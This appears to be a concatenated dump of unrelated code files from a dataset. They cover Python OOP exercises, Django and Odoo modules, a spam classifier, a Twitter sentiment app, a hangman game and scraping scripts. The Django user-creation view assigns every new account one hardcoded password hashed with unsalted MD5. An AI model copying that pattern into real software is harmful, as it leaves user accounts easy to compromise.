print(\"has balcony: %s\" % self.balcony)\n parent_init = Property.prompt_init()\n laundry = ''\n while laundry.lower() not in \\\n Apartment.valid_laundries:\n laundry = input(\"What laundry facilities does \"\n \"the property have? ({})\".format(\n \", \".join(Apartment.valid_laundries)))\n balcony = ''\n while balcony.lower() not in \\\n Apartment.valid_balconies:\n balcony = input(\n \"Does the property have a balcony? \"\n \"({})\".format(\n \", \".join(Apartment.valid_balconies)))\n parent_init.update({\n \"laundry\": laundry,\n \"balcony\": balcony\n })\n return parent_init\n\n\ndef get_valid_input(input_string, valid_options):\n \"\"\"\n Validation function\n \"\"\"\n input_string += \" ({}) \".format(\", \".join(valid_options))\n response = input(input_string)\n while response.lower() not in valid_options:\n response = input(input_string)\n return response\n\n\ndef prompt_init():\n \"\"\"\n Return laundry facilities and presence of the balcony\n \"\"\"\n\n parent_init = Property.prompt_init()\n laundry = get_valid_input(\n \"What laundry facilities does \"\n \"the property have? \",\n Apartment.valid_laundries)\n balcony = get_valid_input(\n \"Does the property have a balcony? \",\n Apartment.valid_balconies)\n parent_init.update({\n \"laundry\": laundry,\n \"balcony\": balcony\n })\n return parent_init\n\n\nprompt_init = staticmethod(prompt_init)\n\n\nclass House(Property):\n \"\"\"\n Represents House and takes Property as a superclass\n \"\"\"\n valid_garage = (\"attached\", \"detached\", \"none\")\n valid_fenced = (\"yes\", \"no\")\n\n def __init__(self, num_stories='',\n garage='', fenced='', **kwargs):\n super().__init__(**kwargs)\n self.garage = garage\n self.fenced = fenced\n self.num_stories = num_stories\n\n def display(self):\n \"\"\"\n Displays details\n \"\"\"\n super().display()\n print(\"HOUSE DETAILS\")\n print(\"# of stories: {}\".format(self.num_stories))\n print(\"garage: {}\".format(self.garage))\n print(\"fenced yard: {}\".format(self.fenced))\n\n def prompt_init():\n \"\"\"\n Static method - yard, garage and number of stories\n Returns that information to the user\n \"\"\"\n parent_init = Property.prompt_init()\n fenced = get_valid_input(\"Is the yard fenced? \",\n House.valid_fenced)\n garage = get_valid_input(\"Is there a garage? \",\n House.valid_garage)\n num_stories = input(\"How many stories? \")\n parent_init.update({\n \"fenced\": fenced,\n \"garage\": garage,\n \"num_stories\": num_stories\n })\n return parent_init\n\n prompt_init = staticmethod(prompt_init)\n\n\nclass Purchase:\n \"\"\"\n Represents class Purchase\n \"\"\"\n\n def __init__(self, price='', taxes='', **kwargs):\n super().__init__(**kwargs)\n self.price = price\n self.taxes = taxes\n\n def display(self):\n \"\"\"\n Displays details\n \"\"\"\n super().display()\n print(\"PURCHASE DETAILS\")\n print(\"selling price: {}\".format(self.price))\n print(\"estimated taxes: {}\".format(self.taxes))\n\n def prompt_init():\n \"\"\"\n Static method - information about price and taxes\n Returns price and taxes\n \"\"\"\n return dict(\n price=input(\"What is the selling price? \"),\n taxes=input(\"What are the estimated taxes? \"))\n\n prompt_init = staticmethod(prompt_init)\n\n\nclass Rental:\n \"\"\"\n Represents class Rental\n \"\"\"\n\n def __init__(self, furnished='', utilities='',\n rent='', **kwargs):\n super().__init__(**kwargs)\n self.furnished = furnished\n self.rent = rent\n self.utilities = utilities\n\n def display(self):\n \"\"\"\n Displays details\n \"\"\"\n super().display()\n print(\"RENTAL DETAILS\")\n print(\"rent: {}\".format(self.rent))\n print(\"estimated utilities: {}\".format(\n self.utilities))\n print(\"furnished: {}\".format(self.furnished))\n\n def prompt_init():\n \"\"\"\n Returns dictionary with: representing monthly rent,\n utilities and if is furnished\n \"\"\"\n return dict(\n rent=input(\"What is the monthly rent? \"),\n utilities=input(\n \"What are the estimated utilities? \"),\n furnished=get_valid_input(\n \"Is the property furnished? \",\n (\"yes\", \"no\")))\n\n prompt_init = staticmethod(prompt_init)\n\n\nclass HouseRental(Rental, House):\n \"\"\"\n Represents House rental class and takes Rental, House as a superclass\n \"\"\"\n\n def prompt_init():\n \"\"\"\n Static method, which add to the existing dictionary\n \"\"\"\n init = House.prompt_init()\n init.update(Rental.prompt_init())\n return init\n\n prompt_init = staticmethod(prompt_init)\n\n\nclass ApartmentRental(Rental, Apartment):\n \"\"\"\n Represents Apartment rental class and takes Rental, Apartment as a superclass\n \"\"\"\n\n def prompt_init():\n \"\"\"\n Static method, which add to the existing dictionary\n \"\"\"\n init = Apartment.prompt_init()\n init.update(Rental.prompt_init())\n return init\n\n prompt_init = staticmethod(prompt_init)\n\n\nclass ApartmentPurchase(Purchase, Apartment):\n \"\"\"\n Represents Apartment rental class and takes Purchase, Apartment as a superclass\n \"\"\"\n\n def prompt_init():\n \"\"\"\n Static method, which add to the existing dictionary\n \"\"\"\n init = Apartment.prompt_init()\n init.update(Purchase.prompt_init())\n return init\n\n prompt_init = staticmethod(prompt_init)\n\n\nclass HousePurchase(Purchase, House):\n def prompt_init():\n \"\"\"\n Static method, which add to the existing dictionary\n \"\"\"\n init = House.prompt_init()\n init.update(Purchase.prompt_init())\n return init\n\n prompt_init = staticmethod(prompt_init)\n\n\nclass Agent:\n \"\"\"\n Represents class Agent, where you can do a payment job and choose\n type of property\n \"\"\"\n\n def __init__(self):\n self.property_list = []\n\n def display_properties(self):\n \"\"\"\n Dispalys details\n \"\"\"\n for property in self.property_list:\n property.display()\n\n type_map = {\n (\"house\", \"rental\"): HouseRental,\n (\"house\", \"purchase\"): HousePurchase,\n (\"apartment\", \"rental\"): ApartmentRental,\n (\"apartment\", \"purchase\"): ApartmentPurchase\n }\n\n def add_property(self):\n \"\"\"\n Information about a payment job and type of property\n \"\"\"\n property_type = get_valid_input(\n \"What type of property? \",\n (\"house\", \"apartment\")).lower()\n payment_type = get_valid_input(\n \"What payment type? \",\n (\"purchase\", \"rental\")).lower()\n PropertyClass = self.type_map[\n (property_type, payment_type)]\n init_args = PropertyClass.prompt_init()\n self.property_list.append(PropertyClass(**init_args))\n\n def add_field_court(self):\n \"\"\"\n Adding or not football field to the property\n \"\"\"\n quest1 = get_valid_input(\n \"Do you need a swimming pool? \",\n (\"yes\", \"no\"))\n\n quest2 = get_valid_input(\n \"Dou you need a gazebo? \",\n (\"yes\", \"no\"))\n\n\nagent = Agent()\nagent.add_property()\nagent.display_properties()\nagent.add_field_court()","sub_path":"property.py","file_name":"property.py","file_ext":"py","file_size_in_byte":9392,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"64429156","text":"# -*- coding:utf-8 -*-\n__author__ = ''\n__date__ = '2017/5/23 8:57'\nfrom django.shortcuts import render\nfrom django.views.generic.base import View\nfrom admin.utils.paginator import MyPaginator\n\nfrom admin.forms import UserForm\nfrom admin.models import User\nfrom admin.utils import method\n\n\nclass UserView(View):\n def get(self, request):\n users = User.objects.values('id', 'nick', 'role', 'status', 'add_time')\n paginator = MyPaginator(users, 10)\n page_num = request.GET.get('page', 1)\n try:\n users = paginator.page(page_num)\n except Exception as e:\n print(e)\n return render(request, 'sys/user.html', locals())\n\n\nclass UserEditView(View):\n def get(self, request, user_id):\n user_id = user_id\n if (user_id):\n user = User.objects.values('nick', 'name', 'pwd', 'role', 'status').filter(id=user_id).first()\n return render(request, 'sys/user_edit.html', locals())\n\n def post(self, request, user_id):\n msg = {}\n try:\n user = User.objects.get(pk=user_id)\n form = UserForm(request.POST,instance=user)\n if form.is_valid():\n try:\n form.save()\n msg['status'] = 0\n except:\n msg['status'] = 1\n else:\n msg['status'] = 1\n except:\n msg['status'] = 1\n return render(request, 'sys/user_edit.html', locals())\n\n\nclass UserAddView(View):\n def get(self, request):\n return render(request, 'sys/user_add.html')\n\n def post(self, request):\n form = UserForm(request.POST)\n msg = {}\n if form.is_valid():\n try:\n user = form.save()\n user.pwd = method.md5('ikg' + 'ikg123')\n user.save()\n msg['status'] = 0\n except:\n msg['status'] = 1\n else:\n msg['status'] = 1\n return render(request, 'sys/user_add.html', locals())\n\n\nclass UserInfoView(View):\n def get(self, request,user_id):\n user = User.objects.values('id', 'nick', 'role', 'status', 'add_time','name')\\\n .filter(id=user_id).first()\n return render(request, 'sys/user_info.html', locals())\n","sub_path":"apps/admin/views/sys/user.py","file_name":"user.py","file_ext":"py","file_size_in_byte":2284,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"391510563","text":"import gym\n\nenvs = ['SeaquestNoFrameskip-v4',\n 'BreakoutNoFrameskip-v4',\n 'QberNoFrameskip-v4',\n 'HalfCheetah-v1',\n 'Hopper-v1',\n 'PongDeterministic-v4',\n ]\nenv = gym.make(envs[5])\ns_dim = env.observation_space.shape[0]\na_dim = env.action_space.n\nprint('s_dim: ', s_dim)\nprint('a_dim: ', a_dim)\n# env.reset()\n# env.render()\n#\n# env.monitor.start('/tmp/reacher-1', force=True)\nfor i_episode in range(101):\n observation = env.reset()\n for t in range(10000):\n env.render()\n action = env.action_space.sample()\n observation, reward, done, info = env.step(action)\n print('reward', reward)\n\n if done:\n print('Episode finished after {} timesteps'.format(t+1))\n break\n","sub_path":"abr/ppo-test/env_test.py","file_name":"env_test.py","file_ext":"py","file_size_in_byte":764,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"371623805","text":"import math\n\n\n\nimport random\nfrom fractions import gcd\n\n_mrpt_num_trials = 5 # number of bases to test\n\n\ndef is_probable_prime(n):\n assert n >= 2\n # special case 2\n if n == 2:\n return True\n # ensure n is odd\n if n % 2 == 0:\n return False\n # write n-1 as 2**s * d\n # repeatedly try to divide n-1 by 2\n s = 0\n d = n-1\n while True:\n quotient, remainder = divmod(d, 2)\n if remainder == 1:\n break\n s += 1\n d = quotient\n assert(2**s * d == n-1)\n\n # test the base a to see whether it is a witness for the compositeness of n\n def try_composite(a):\n if pow(a, d, n) == 1:\n return False\n for i in range(s):\n if pow(a, 2**i * d, n) == n-1:\n return False\n return True # n is definitely composite\n\n for i in range(_mrpt_num_trials):\n a = random.randrange(2, n)\n if try_composite(a):\n return False\n\n return True # no base tested showed n as composite\n\n\ndef make_number(base, n):\n n_len = len(str(n)) -1\n number = 0\n for item in str(n):\n number += (int(item) * pow(base, n_len))\n n_len -= 1\n\n return number\n\n\ndef get_divisor(N):\n if N%2==0:\n return 2\n y,c,m = random.randint(1, N-1),random.randint(1, N-1),random.randint(1, N-1)\n g,r,q = 1,1,1\n while g==1:\n x = y\n for i in range(r):\n y = ((y*y)%N+c)%N\n k = 0\n while (k1:\n break\n\n return g\n\ndef main():\n f = open(\"C-small-attempt.in\")\n\n lines = f.readlines()\n case = lines[0].rstrip()\n print(\"Case #%s:\" % case)\n\n for index in range(1,int(case)+1):\n line = lines[index].rstrip()\n list_item = line.split()\n\n N = int(list_item[0])\n J = int(list_item[1])\n n1 = N - 2\n n2 = ''\n for i in range(0,int(n1)):\n n2 += '1'\n\n digit = make_number(2, n2)\n s = bin(digit)\n l = len(s)\n mid = s[2:l]\n\n result = []\n list_divisor = []\n found_count = 0\n target = make_number(2, mid)\n for i in range(0, target+1):\n if found_count == J:\n break\n\n result = []\n list_divisor = []\n s = bin(i)\n l = len(s)\n mid = s[2:l]\n\n dd = (\"%0\" + str(n1) + \"d\") % int(mid)\n\n is_break = False\n t = '1' + str(dd) + '1'\n #print(\"%s ==> t: %s\" % (i,t))\n for ii in range(2, 11):\n mn = make_number(ii, t)\n #print(\"mn : %s\" % mn)\n if is_probable_prime(mn):\n is_break = True\n break\n else:\n result.append(mn)\n\n if not is_break:\n found_count += 1\n #print(\"%s , %s ==> r: %s\" % (found_count, t,result))\n for r_item in result:\n list_divisor.append(str(get_divisor(r_item)))\n seq = \" \".join(list_divisor)\n\n print(\"%s %s\" % (t,seq))\n\n\n index += 1\n\n f.close()\n\n\nmain()\n\n","sub_path":"codes/CodeJamCrawler/16_0_3_neat/16_0_3_caslte_2016-c-large.py","file_name":"16_0_3_caslte_2016-c-large.py","file_ext":"py","file_size_in_byte":3685,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"298074287","text":"from django import forms\n\nfrom .models import Post\n\n\nclass PostCreateForm(forms.ModelForm):\n class Meta:\n model = Post\n fields = ('title','content')\n widgets = {\n 'content': forms.Textarea(\n attrs={'rows': 10, 'cols': 30, 'placeholder': 'ここに入力'}\n ),\n }\n","sub_path":"apps/tweet/forms.py","file_name":"forms.py","file_ext":"py","file_size_in_byte":331,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"74164995","text":"#!/usr/bin/env python\n# coding: utf-8\n\n# In[1]:\n\n\nimport pandas as pd\n\n\n# In[2]:\n\n\nmessages = pd.read_csv('smsspamcollection/SMSSpamCollection', sep='\\t',\n names=[\"label\", \"message\"])\n\n\n# In[4]:\n\n\nmessages['label']\n\n\n# In[5]:\n\n\nmessages['message']\n\n\n# In[7]:\n\n\n#Data cleaning and preprocessing\nimport re\nimport nltk\nnltk.download('stopwords')\n\n\n# In[8]:\n\n\nfrom nltk.corpus import stopwords\nfrom nltk.stem.porter import PorterStemmer\n\n\n# In[9]:\n\n\nps = PorterStemmer()\ncorpus = []\n\n\n# In[10]:\n\n\nfor i in range(0, len(messages)):\n review = re.sub('[^a-zA-Z]', ' ', messages['message'][i])\n review = review.lower()\n review = review.split()\n \n review = [ps.stem(word) for word in review if not word in stopwords.words('english')]\n review = ' '.join(review)\n corpus.append(review)\n\n\n# In[14]:\n\n\nreview\n\n\n# In[15]:\n\n\ncorpus\n\n\n# In[16]:\n\n\n# Creating the Bag of Words model\nfrom sklearn.feature_extraction.text import CountVectorizer\ncv = CountVectorizer(max_features=2500)\nX = cv.fit_transform(corpus).toarray()\n\n\n# In[17]:\n\n\ny=pd.get_dummies(messages['label'])\ny=y.iloc[:,1].values\n\n\n# In[18]:\n\n\n# Train Test Split\n\nfrom sklearn.model_selection import train_test_split\nX_train, X_test, y_train, y_test = train_test_split(X, y, test_size = 0.20, random_state = 0)\n\n\n# In[19]:\n\n\n# Training model using Naive bayes classifier\n\nfrom sklearn.naive_bayes import MultinomialNB\nspam_detect_model = MultinomialNB().fit(X_train, y_train)\n\ny_pred=spam_detect_model.predict(X_test)\n\n\n# In[20]:\n\n\nfrom sklearn.metrics import confusion_matrix\nconfun_m=confusion_matrix(y_test,y_pred)\n\n\n# In[21]:\n\n\nconfun_m\n\n\n# In[22]:\n\n\nfrom sklearn.metrics import accuracy_score\naccu_s=accuracy_score(y_test,y_pred)\n\n\n# In[23]:\n\n\naccu_s\n\n\n# In[ ]:\n\n\n\n\n","sub_path":"spam or not.py","file_name":"spam or not.py","file_ext":"py","file_size_in_byte":1763,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"210614852","text":"\"\"\"watches URL Configuration\n\nThe `urlpatterns` list routes URLs to views. For more information please see:\n https://docs.djangoproject.com/en/2.1/topics/http/urls/\nExamples:\nFunction views\n 1. Add an import: from my_app import views\n 2. Add a URL to urlpatterns: path('', views.home, name='home')\nClass-based views\n 1. Add an import: from other_app.views import Home\n 2. Add a URL to urlpatterns: path('', Home.as_view(), name='home')\nIncluding another URLconf\n 1. Import the include() function: from django.urls import include, path\n 2. Add a URL to urlpatterns: path('blog/', include('blog.urls'))\n\"\"\"\nfrom django.contrib import admin\nfrom django.urls import path\nfrom django.conf import settings\nfrom django.conf.urls.static import static\nfrom shop.views import home, products, productDetail, compare\nfrom cart.views import add, remove, change_quantity, cart, cart_clear\nfrom orders.views import order\nfrom users.views import register, profile, login_view, logout_view\nfrom filters.views import filters_view\n\nurlpatterns = [\n #ADMIN URL\n\tpath('admin/', admin.site.urls),\n\n #SHOP URLS\n path('', home, name='home'),\n path('products//', products, name='products'),\n path('products////', productDetail, name='productDetail'),\n path('products//compare/', compare, name='compare'),\n\n #CART URLS\n path('cart/add/', add, name='add'),\n path('cart/remove/', remove, name='remove'),\n path('cart/change_quantity/', change_quantity, name='change_quantity'),\n path('cart/', cart, name='cart'),\n path('cart_clear/', cart_clear, name='cart_clear'),\n\n #ORDERS URLS\n path('order/', order, name='order'),\n\n #USERS URLS\n path('register/', register, name='register'),\n path('profile/', profile, name='profile'),\n path('login/', login_view, name='login'),\n path('logout/', logout_view, name='logout'),\n\n #FILTERS URLS\n path('products//filters/', filters_view, name='filters'),\n] \n\nif settings.DEBUG:\n\turlpatterns += static(settings.MEDIA_URL, document_root=settings.MEDIA_ROOT)\n\turlpatterns += static(settings.STATIC_URL, document_root=settings.STATIC_ROOT)","sub_path":"watches/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":2214,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"251775891","text":"# -*- coding: utf-8 -*-\n\nfrom dateutil.relativedelta import relativedelta\nfrom datetime import datetime,timedelta\nfrom odoo import api, fields, models, _\n\n\nclass HrEmployee(models.Model):\n _inherit = 'hr.employee'\n\n certificates = fields.Boolean(default=True, string=\"Certificates\")\n\n\nclass EmployeeTraining(models.Model):\n _name = 'employee.training'\n _rec_name = 'program_name'\n _description = \"Employee Training\"\n _inherit = 'mail.thread'\n\n program_name = fields.Char(string='Training Program', required=True)\n program_department = fields.Many2one('hr.department', string='Department', required=True)\n program_convener = fields.Many2one('res.users', string='Responsible User', size=32, required=True)\n training_id = fields.One2many('hr.employee', string='Employee Details', compute=\"employee_details\")\n note_id = fields.Text('Description')\n date_from = fields.Datetime(string=\"Date From\")\n date_to = fields.Datetime(string=\"Date To\")\n user_id = fields.Many2one('res.users', string='users', default=lambda self: self.env.user)\n company_id = fields.Many2one('res.company', string='Company', required=True,\n default=lambda self: self.env.user.company_id)\n # product_updatable = fields.Boolean(compute='_compute_product_updatable', string='Can Edit Product', readonly=True, default=True)\n # @api.depends('training_id')\n # def _compute_product_updatable(self):\n # for line in self:\n # if line.state in ['done', 'cancel'] or (line.state == 'sale' and (line.qty_invoiced > 0 or line.qty_delivered > 0)):\n # line.product_updatable = False\n # else:\n # line.product_updatable = True\n\n state = fields.Selection([\n ('new', 'New'),\n ('confirm', 'Confirmed'),\n ('cancel', 'Canceled'),\n ('complete', 'Completed'),\n ('print', 'Print'),\n ], string='Status', readonly=True, copy=False, index=True, track_visibility='onchange', default='new')\n\n @api.onchange('program_department')\n def employee_details(self):\n datas = self.env['hr.employee'].search([('department_id', '=', self.program_department.id)])\n self.training_id = datas\n\n @api.multi\n def print_event(self):\n self.ensure_one()\n started_date = datetime.strftime(self.create_date, \"%Y-%m-%d \")\n duration = (self.write_date - self.create_date).days\n pause = relativedelta(hours=0)\n difference = relativedelta(self.write_date, self.create_date) - pause\n hours = difference.hours\n minutes = difference.minutes\n data = {\n 'dept_id': self.program_department.id,\n 'program_name': self.program_name,\n 'company_name': self.company_id.name,\n 'date_to': started_date,\n 'duration': duration,\n 'hours': hours,\n 'minutes': minutes,\n 'program_convener': self.program_convener.name,\n\n }\n return self.env.ref('employee_orientation.print_pack_certificates').report_action(self, data=data)\n\n @api.multi\n def complete_event(self):\n self.write({'state': 'complete'})\n\n @api.multi\n def confirm_event(self):\n self.write({'state': 'confirm'})\n\n @api.multi\n def cancel_event(self):\n self.write({'state': 'cancel'})\n\n @api.multi\n def confirm_send_mail(self):\n self.ensure_one()\n ir_model_data = self.env['ir.model.data']\n try:\n template_id = ir_model_data.get_object_reference('employee_orientation', 'orientation_training_mailer')[1]\n except ValueError:\n template_id = False\n try:\n compose_form_id = ir_model_data.get_object_reference('mail', 'email_compose_message_wizard_form')[1]\n except ValueError:\n compose_form_id = False\n ctx = dict(self.env.context or {})\n ctx.update({\n 'default_model': 'employee.training',\n 'default_res_id': self.ids[0],\n 'default_use_template': bool(template_id),\n 'default_template_id': template_id,\n 'default_composition_mode': 'comment',\n })\n\n return {\n 'name': _('Compose Email'),\n 'type': 'ir.actions.act_window',\n 'view_type': 'form',\n 'view_mode': 'form',\n 'res_model': 'mail.compose.message',\n 'views': [(compose_form_id, 'form')],\n 'view_id': compose_form_id,\n 'target': 'new',\n 'context': ctx,\n }\n","sub_path":"employee_orientation/models/employee_training.py","file_name":"employee_training.py","file_ext":"py","file_size_in_byte":4543,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"319678651","text":"from pymongo import MongoClient\nclient = MongoClient()\ndb = client.whosampled\n\nimport numpy as np\nfrom time import sleep\nfrom src.scrape_data_clean.whosampled_scrape import Scraper\n\nif __name__ == \"__main__\":\n scraper = Scraper()\n failed_links = []\n\n song_sampled_pages_to_do = db.song_sampled_pages_to_do.distinct('link')\n\n for song_sample_page in song_sampled_pages_to_do[-10000:]: \n try:\n scraper.insert_song_sample_info_into_db_main(song_sample_page)\n print('Done with {}'.format(song_sample_page))\n except:\n print(\"Insertion into Mongo failed for {}\".format(song_sample_page))\n failed_links.append(song_sample_page)\n sleep(1.1)\n print(failed_links)\n scraper.driver.quit()","sub_path":"src/scrape_data_clean/put_info_from_links_in_mongo_db/insert_song_sample_info_into_main_2.py","file_name":"insert_song_sample_info_into_main_2.py","file_ext":"py","file_size_in_byte":759,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"332094667","text":"#!/usr/bin/python\n#-*- coding: utf-8 -*- \n\nimport os\nimport sys\n\nextractors = (\"SURF\", \"SIFT\")\ndetectors = (\"SURF\", \"FAST\", \"STAR\", \"SIFT\")\nclassifiers = (\"NormalBayesClassifier\", \"KNearest\")\n\nfor classifier in classifiers:\n\tfor detector in detectors:\n\t\tfor extractor in extractors:\n\t\t\tos.system(\"./DetectorDeMonumentos %s %s %s >> avaliacao-final1\" % (detector, extractor, classifier))\n","sub_path":"evaluate3.py","file_name":"evaluate3.py","file_ext":"py","file_size_in_byte":387,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"414739145","text":"from flask import Flask,render_template,request\n\nimport re \nimport tweepy \nfrom tweepy import OAuthHandler \nfrom textblob import TextBlob \napp = Flask(__name__)\n\n@app.route('/', methods=['GET', 'POST'])\ndef index():\n if request.method==\"POST\":\n class TwitterClient(object): \n def __init__(self): \n '''Class constructor or initialization method.'''\n # keys and tokens from the Twitter Dev Console \n consumer_key = 'XXXXXXXXXXXXXXXX'\n consumer_secret = 'XXXXXXXXXXXXXXXXXXX'\n access_token = 'XXXXXXXXXXXXXXXXXXXXXXXXXX'\n access_token_secret = 'XXXXXXXXXXXXXXXXXXXXX'\n # attempt authentication \n try: \n # create OAuthHandler object \n self.auth = OAuthHandler(consumer_key, consumer_secret) \n # set access token and secret \n self.auth.set_access_token(access_token, access_token_secret) \n # create tweepy API object to fetch tweets \n self.api = tweepy.API(self.auth) \n except: \n print(\"Error: Authentication Failed\") \n\n def clean_tweet(self, tweet): \n ''' \n Utility function to clean tweet text by removing links, special characters \n using simple regex statements. \n '''\n return ' '.join(re.sub(\"(@[A-Za-z0-9]+)|([^0-9A-Za-z \\t])|(\\w+:\\/\\/\\S+)\", \" \", tweet).split()) \n def get_tweet_sentiment(self, tweet): \n ''' \n Utility function to classify sentiment of passed tweet \n using textblob's sentiment method \n '''\n # create TextBlob object of passed tweet text \n analysis = TextBlob(self.clean_tweet(tweet)) \n # set sentiment \n if analysis.sentiment.polarity > 0: \n return 'positive'\n elif analysis.sentiment.polarity == 0: \n return 'neutral'\n else: \n return 'negative'\n\n def get_tweets(self, query, count = 10): \n ''' \n Main function to fetch tweets and parse them. \n '''\n # empty list to store parsed tweets \n tweets = [] \n\n try: \n # call twitter api to fetch tweets \n fetched_tweets = self.api.search(q = query, count = count) \n\n # parsing tweets one by one \n for tweet in fetched_tweets: \n # empty dictionary to store required params of a tweet \n parsed_tweet = {} \n\n # saving text of tweet \n parsed_tweet['text'] = tweet.text \n # saving sentiment of tweet \n parsed_tweet['sentiment'] = self.get_tweet_sentiment(tweet.text) \n\n # appending parsed tweet to tweets list \n if tweet.retweet_count > 0: \n # if tweet has retweets, ensure that it is appended only once \n if parsed_tweet not in tweets: \n tweets.append(parsed_tweet) \n else: \n tweets.append(parsed_tweet) \n\n # return parsed tweets \n return tweets \n\n except tweepy.TweepError as e: \n # print error (if any) \n print(\"Error : \" + str(e)) \n try:\n def main(): \n # creating object of TwitterClient Class \n accountname=request.form.get('accountname', False)\n api = TwitterClient() \n \n tweets = api.get_tweets(query = accountname, count = 500) \n global positivation\n global negation\n global neutraly\n \n ptweets = [tweet for tweet in tweets if tweet['sentiment'] == 'positive'] \n\n positivation=(100*len(ptweets)/len(tweets))*2\n \n ntweets = [tweet for tweet in tweets if tweet['sentiment'] == 'negative'] \n \n negation=(100*len(ntweets)/len(tweets))*2\n \n \n neutraly=100-(positivation+negation)\n global negarray\n global posarray\n negarray=[]\n posarray=[]\n \n for tweet in ptweets:\n negarray.append(tweet['text'])\n \n \n for tweet in ntweets: \n posarray.append(tweet['text']) \n print(posarray)\n print(negarray)\n\n main()\n return render_template('output.html',positivation=positivation,negation=negation,neutraly=neutraly,negarray=negarray,posarray=posarray)\n except:\n return '

    Pappu not here

    ' \n return render_template('index.html')\n\n\n\n\n\nif __name__ == '__main__':\n app.run(debug=True)\n","sub_path":"twitterapp.py","file_name":"twitterapp.py","file_ext":"py","file_size_in_byte":5226,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"289918670","text":"import string\ndef isWordGuessed(secretWord, lettersGuessed):\n secretWord = list(secretWord)\n items = set(lettersGuessed)\n count = [i for i in secretWord if i in items]\n if len(secretWord) is len(count):\n return True\n else:\n return False\n\ndef underScore(secretWord, lettersGuessed):\n resultList = []\n secretWordList = list(secretWord)\n for x in range(len(secretWord)):\n resultList.append('_ ')\n for i in lettersGuessed:\n for ind in range(len(secretWordList)):\n if i is secretWordList[ind]:\n resultList[ind] = i\n return ''.join(resultList)\n\ndef getAvailableLetters(lettersGuessed):\n availableLettersList = list(string.ascii_lowercase)\n for char in lettersGuessed:\n for charAlpha in availableLettersList:\n if char is charAlpha:\n availableLettersList.remove(charAlpha)\n return ''.join(availableLettersList)\n\ndef hangman(secretWord):\n lettersGuessed = []\n rightWord = 0\n numOfGuesses = 8\n print(\"Welcome to the game, Hangman!\")\n print(\"I am thinking of a word that is {} letters long.\".format(len(secretWord)))\n print(\"-----------\")\n while numOfGuesses > 0:\n print(\"You have {} guesses left.\".format(numOfGuesses))\n print(\"Available letters: \" + getAvailableLetters(lettersGuessed))\n guess = input(\"Please guess a letter: \")\n if guess in list(secretWord) and guess not in lettersGuessed:\n lettersGuessed.append(guess)\n print(\"Good guess: \" + underScore(secretWord,lettersGuessed) + \"\\n\")\n rightWord = len(underScore(secretWord,lettersGuessed))\n elif guess in lettersGuessed:\n print(\"Oops! You've already guessed that letter:\" + underScore(secretWord,lettersGuessed) + \"\\n\")\n else:\n lettersGuessed.append(guess)\n print(\"Oops! That letter is not in my word:\" + underScore(secretWord,lettersGuessed) + \"\\n\")\n numOfGuesses -= 1\n print(\"-----------\")\n if numOfGuesses == 0:\n print(\"Sorry, you ran out of guesses. The word was {}.\".format(secretWord))\n if rightWord == len(secretWord):\n numOfGuesses = 0\n print(\"Congratulations, you won!\")\n \n \n\nsecretWord = 'sea'\n# lettersGuessed = ['e', 'd', 'i', 'l', 'h', 'k', 's', 'p', 'a', 'd']\n\n# print(underScore(secretWord, lettersGuessed))\n# print(getAvailableLetters(lettersGuessed))\n\nhangman(secretWord)\n","sub_path":"Python/Eksempler/hangman.py","file_name":"hangman.py","file_ext":"py","file_size_in_byte":2468,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"492789293","text":"# -*- encoding: utf-8 -*-\n# © 2017 Mackilem Van der Laan, Trustcode\n# © 2017 Danimar Ribeiro, Trustcode\n# License AGPL-3.0 or later (http://www.gnu.org/licenses/agpl.html).\n\nfrom odoo import api, fields, models, _\n\n\nclass admission_statistical(models.TransientModel):\n _name = 'admission.statistical.wizard'\n\n year_id = fields.Many2one(\n string=\"Academic Year\",\n comodel_name=\"uni.year\",\n required=True,\n )\n\n admission_category_id = fields.Many2one(\n string=\"Admission Category\",\n comodel_name=\"uni.student_category\",\n )\n\n @api.multi\n def check_report(self, data):\n self.ensure_one()\n data = {}\n data['ids'] = self.env.context.get('active_ids', [])\n data['model'] = self.env.context.get('active_model', 'ir.ui.menu')\n data['form'] = self.read(\n ['year_id', 'admission_category_id'])[0]\n return self.env['report'].get_action(self, 'uni_admission.admission_statistical', data=data)\n","sub_path":"uni_admission/wizard/admission_statistical.py","file_name":"admission_statistical.py","file_ext":"py","file_size_in_byte":991,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"646818191","text":"#!/usr/bin/env python3\n\nimport urllib.request, urllib.error, urllib.parse\nimport json\nimport base64\nimport sys, os\nimport datetime\nimport argparse, configparser\nimport query\n\n__location__ = os.path.realpath(os.path.join(os.getcwd(), os.path.dirname(__file__)))\ndefault_config_file = os.path.join(__location__, 'config.ini')\nconfig = configparser.ConfigParser()\n\nsource_url = None\ntarget_url = None\n\nhttp_error_messages = {}\nhttp_error_messages[401] = \"ERROR: There was a problem during authentication.\\nDouble check that your username and password are correct, and that you have permission to read from or write to the specified repositories.\"\nhttp_error_messages[403] = http_error_messages[401]; # Basically the same problem. GitHub returns 403 instead to prevent abuse.\nhttp_error_messages[404] = \"ERROR: Unable to find the specified repository.\\nDouble check the spelling for the source and target repositories. If either repository is private, make sure the specified user is allowed access to it.\"\n\n\ndef init_config():\n \n config.add_section('source')\n config.add_section('target')\n config.add_section('format')\n config.add_section('settings')\n \n arg_parser = argparse.ArgumentParser(description=\"Import issues from one GitHub repository into another.\")\n \n arg_parser.add_argument('--config', help=\"The location of the config file (either absolute, or relative to 